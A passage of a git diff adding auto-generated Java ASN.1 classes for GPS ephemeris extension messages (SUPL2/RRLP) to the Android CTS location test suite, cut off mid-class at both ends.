+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_tgdType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSEphemerisDeltaScales = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtension.java
new file mode 100755
index 0000000..23d9651
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtension.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPSEphemerisExtension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPSEphemerisExtension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSEphemerisExtension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSEphemerisExtension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSEphemerisExtension != null) {
+ return ImmutableList.of(TAG_GPSEphemerisExtension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSEphemerisExtension from encoded stream.
+ */
+ public static GPSEphemerisExtension fromPerUnaligned(byte[] encodedBytes) {
+ GPSEphemerisExtension result = new GPSEphemerisExtension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSEphemerisExtension from encoded stream.
+ */
+ public static GPSEphemerisExtension fromPerAligned(byte[] encodedBytes) {
+ GPSEphemerisExtension result = new GPSEphemerisExtension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSEphemerisExtensionHeader gpsEphemerisHeader_;
+ public GPSEphemerisExtensionHeader getGpsEphemerisHeader() {
+ return gpsEphemerisHeader_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisExtensionHeader
+ */
+ public void setGpsEphemerisHeader(Asn1Object value) {
+ this.gpsEphemerisHeader_ = (GPSEphemerisExtensionHeader) value;
+ }
+ public GPSEphemerisExtensionHeader setGpsEphemerisHeaderToNewInstance() {
+ gpsEphemerisHeader_ = new GPSEphemerisExtensionHeader();
+ return gpsEphemerisHeader_;
+ }
+
+ private SeqOfGPSRefOrbit gpsReferenceSet_;
+ public SeqOfGPSRefOrbit getGpsReferenceSet() {
+ return gpsReferenceSet_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfGPSRefOrbit
+ */
+ public void setGpsReferenceSet(Asn1Object value) {
+ this.gpsReferenceSet_ = (SeqOfGPSRefOrbit) value;
+ }
+ public SeqOfGPSRefOrbit setGpsReferenceSetToNewInstance() {
+ gpsReferenceSet_ = new SeqOfGPSRefOrbit();
+ return gpsReferenceSet_;
+ }
+
+ private GPSEphemerisDeltaMatrix gpsephemerisDeltaMatrix_;
+ public GPSEphemerisDeltaMatrix getGpsephemerisDeltaMatrix() {
+ return gpsephemerisDeltaMatrix_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaMatrix
+ */
+ public void setGpsephemerisDeltaMatrix(Asn1Object value) {
+ this.gpsephemerisDeltaMatrix_ = (GPSEphemerisDeltaMatrix) value;
+ }
+ public GPSEphemerisDeltaMatrix setGpsephemerisDeltaMatrixToNewInstance() {
+ gpsephemerisDeltaMatrix_ = new GPSEphemerisDeltaMatrix();
+ return gpsephemerisDeltaMatrix_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsEphemerisHeader() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsEphemerisHeader();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsEphemerisHeaderToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisExtensionHeader.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsEphemerisHeader : "
+ + getGpsEphemerisHeader().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsReferenceSet() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsReferenceSet();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsReferenceSetToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfGPSRefOrbit.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsReferenceSet : "
+ + getGpsReferenceSet().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsephemerisDeltaMatrix() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsephemerisDeltaMatrix();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsephemerisDeltaMatrixToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaMatrix.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsephemerisDeltaMatrix : "
+ + getGpsephemerisDeltaMatrix().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSEphemerisExtension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionCheck.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionCheck.java
new file mode 100755
index 0000000..9423ad9
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionCheck.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPSEphemerisExtensionCheck extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPSEphemerisExtensionCheck
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSEphemerisExtensionCheck() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSEphemerisExtensionCheck;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSEphemerisExtensionCheck != null) {
+ return ImmutableList.of(TAG_GPSEphemerisExtensionCheck);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSEphemerisExtensionCheck from encoded stream.
+ */
+ public static GPSEphemerisExtensionCheck fromPerUnaligned(byte[] encodedBytes) {
+ GPSEphemerisExtensionCheck result = new GPSEphemerisExtensionCheck();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSEphemerisExtensionCheck from encoded stream.
+ */
+ public static GPSEphemerisExtensionCheck fromPerAligned(byte[] encodedBytes) {
+ GPSEphemerisExtensionCheck result = new GPSEphemerisExtensionCheck();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSEphemerisExtensionTime gpsBeginTime_;
+ public GPSEphemerisExtensionTime getGpsBeginTime() {
+ return gpsBeginTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisExtensionTime
+ */
+ public void setGpsBeginTime(Asn1Object value) {
+ this.gpsBeginTime_ = (GPSEphemerisExtensionTime) value;
+ }
+ public GPSEphemerisExtensionTime setGpsBeginTimeToNewInstance() {
+ gpsBeginTime_ = new GPSEphemerisExtensionTime();
+ return gpsBeginTime_;
+ }
+
+ private GPSEphemerisExtensionTime gpsEndTime_;
+ public GPSEphemerisExtensionTime getGpsEndTime() {
+ return gpsEndTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisExtensionTime
+ */
+ public void setGpsEndTime(Asn1Object value) {
+ this.gpsEndTime_ = (GPSEphemerisExtensionTime) value;
+ }
+ public GPSEphemerisExtensionTime setGpsEndTimeToNewInstance() {
+ gpsEndTime_ = new GPSEphemerisExtensionTime();
+ return gpsEndTime_;
+ }
+
+ private GPSSatEventsInfo gpsSatEventsInfo_;
+ public GPSSatEventsInfo getGpsSatEventsInfo() {
+ return gpsSatEventsInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSSatEventsInfo
+ */
+ public void setGpsSatEventsInfo(Asn1Object value) {
+ this.gpsSatEventsInfo_ = (GPSSatEventsInfo) value;
+ }
+ public GPSSatEventsInfo setGpsSatEventsInfoToNewInstance() {
+ gpsSatEventsInfo_ = new GPSSatEventsInfo();
+ return gpsSatEventsInfo_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsBeginTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsBeginTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsBeginTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisExtensionTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsBeginTime : "
+ + getGpsBeginTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsEndTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsEndTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsEndTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisExtensionTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsEndTime : "
+ + getGpsEndTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsSatEventsInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsSatEventsInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsSatEventsInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSSatEventsInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsSatEventsInfo : "
+ + getGpsSatEventsInfo().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSEphemerisExtensionCheck = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionHeader.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionHeader.java
new file mode 100755
index 0000000..45f46ff
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionHeader.java
@@ -0,0 +1,507 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPSEphemerisExtensionHeader extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPSEphemerisExtensionHeader
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSEphemerisExtensionHeader() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSEphemerisExtensionHeader;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSEphemerisExtensionHeader != null) {
+ return ImmutableList.of(TAG_GPSEphemerisExtensionHeader);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSEphemerisExtensionHeader from encoded stream.
+ */
+ public static GPSEphemerisExtensionHeader fromPerUnaligned(byte[] encodedBytes) {
+ GPSEphemerisExtensionHeader result = new GPSEphemerisExtensionHeader();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSEphemerisExtensionHeader from encoded stream.
+ */
+ public static GPSEphemerisExtensionHeader fromPerAligned(byte[] encodedBytes) {
+ GPSEphemerisExtensionHeader result = new GPSEphemerisExtensionHeader();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSEphemerisExtensionTime timeofEstimation_;
+ public GPSEphemerisExtensionTime getTimeofEstimation() {
+ return timeofEstimation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisExtensionTime
+ */
+ public void setTimeofEstimation(Asn1Object value) {
+ this.timeofEstimation_ = (GPSEphemerisExtensionTime) value;
+ }
+ public GPSEphemerisExtensionTime setTimeofEstimationToNewInstance() {
+ timeofEstimation_ = new GPSEphemerisExtensionTime();
+ return timeofEstimation_;
+ }
+
+ private GPSEphemerisExtensionHeader.validityPeriodType validityPeriod_;
+ public GPSEphemerisExtensionHeader.validityPeriodType getValidityPeriod() {
+ return validityPeriod_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisExtensionHeader.validityPeriodType
+ */
+ public void setValidityPeriod(Asn1Object value) {
+ this.validityPeriod_ = (GPSEphemerisExtensionHeader.validityPeriodType) value;
+ }
+ public GPSEphemerisExtensionHeader.validityPeriodType setValidityPeriodToNewInstance() {
+ validityPeriod_ = new GPSEphemerisExtensionHeader.validityPeriodType();
+ return validityPeriod_;
+ }
+
+ private GPSEphemerisExtensionHeader.ephemerisExtensionDurationType ephemerisExtensionDuration_;
+ public GPSEphemerisExtensionHeader.ephemerisExtensionDurationType getEphemerisExtensionDuration() {
+ return ephemerisExtensionDuration_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisExtensionHeader.ephemerisExtensionDurationType
+ */
+ public void setEphemerisExtensionDuration(Asn1Object value) {
+ this.ephemerisExtensionDuration_ = (GPSEphemerisExtensionHeader.ephemerisExtensionDurationType) value;
+ }
+ public GPSEphemerisExtensionHeader.ephemerisExtensionDurationType setEphemerisExtensionDurationToNewInstance() {
+ ephemerisExtensionDuration_ = new GPSEphemerisExtensionHeader.ephemerisExtensionDurationType();
+ return ephemerisExtensionDuration_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getTimeofEstimation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTimeofEstimation();
+ }
+
+ @Override public void setToNewInstance() {
+ setTimeofEstimationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisExtensionTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "timeofEstimation : "
+ + getTimeofEstimation().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getValidityPeriod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getValidityPeriod();
+ }
+
+ @Override public void setToNewInstance() {
+ setValidityPeriodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisExtensionHeader.validityPeriodType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "validityPeriod : "
+ + getValidityPeriod().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemerisExtensionDuration() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemerisExtensionDuration();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemerisExtensionDurationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisExtensionHeader.ephemerisExtensionDurationType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemerisExtensionDuration : "
+ + getEphemerisExtensionDuration().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class validityPeriodType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_validityPeriodType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public validityPeriodType() {
+ super();
+ setValueRange("1", "8");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_validityPeriodType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_validityPeriodType != null) {
+ return ImmutableList.of(TAG_validityPeriodType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new validityPeriodType from encoded stream.
+ */
+ public static validityPeriodType fromPerUnaligned(byte[] encodedBytes) {
+ validityPeriodType result = new validityPeriodType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new validityPeriodType from encoded stream.
+ */
+ public static validityPeriodType fromPerAligned(byte[] encodedBytes) {
+ validityPeriodType result = new validityPeriodType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "validityPeriodType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemerisExtensionDurationType extends Asn1Integer {
+ //
+
